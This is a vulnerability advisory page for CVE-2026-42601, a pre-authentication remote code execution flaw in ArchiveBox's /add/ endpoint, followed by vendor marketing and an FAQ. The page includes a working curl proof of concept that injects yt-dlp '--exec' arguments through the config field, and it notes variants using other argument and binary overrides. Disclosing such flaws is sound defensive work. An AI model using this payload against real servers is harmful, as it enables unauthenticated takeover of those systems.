Summary
ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView
The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.
When PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.
Affected code:
core/views.py:887 - user config extracted with no validation:
custom_config = form.cleaned_data.get("config") or {}
core/views.py:918 - merged into crawl config:
config.update(custom_config)
config/configset.py:255-256 - crawl config applied with high priority:
if crawl and hasattr(crawl, "config") and crawl.config:
config.update(crawl.config)
hooks.py:398-411 - config exported as env vars:
for key, value in config.items():
if key in SKIP_KEYS: continue
env[key] = str(value)
plugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp:
ytdlp_args_extra = get_env_array("YTDLP_ARGS_EXTRA", [])
cmd.extend(ytdlp_args_extra)
PoC (pre-auth when PUBLIC_ADD_VIEW=True):
curl -X POST http://localhost:8000/add/
-d "url=https://www.youtube.com/watch?v=dQw4w9WgXcQ"
-d "depth=0"
-d "config={"YTDLP_ARGS_EXTRA": "[\"--exec\", \"id > /tmp/pwned\"]"}"
After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.
Same approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key.
Impact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True.
Impact
CVE-2026-42601 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-42601? CVE-2026-42601 is a critical-severity security vulnerability in archivebox (pip), affecting versions <= 0.8.6rc0. No fixed version is listed yet.
- How severe is CVE-2026-42601? CVE-2026-42601 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of archivebox are affected by CVE-2026-42601? archivebox (pip) versions <= 0.8.6rc0 is affected.
- Is there a fix for CVE-2026-42601? No fixed version is listed for CVE-2026-42601 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-42601 exploitable, and should I be worried? Whether CVE-2026-42601 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-42601 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.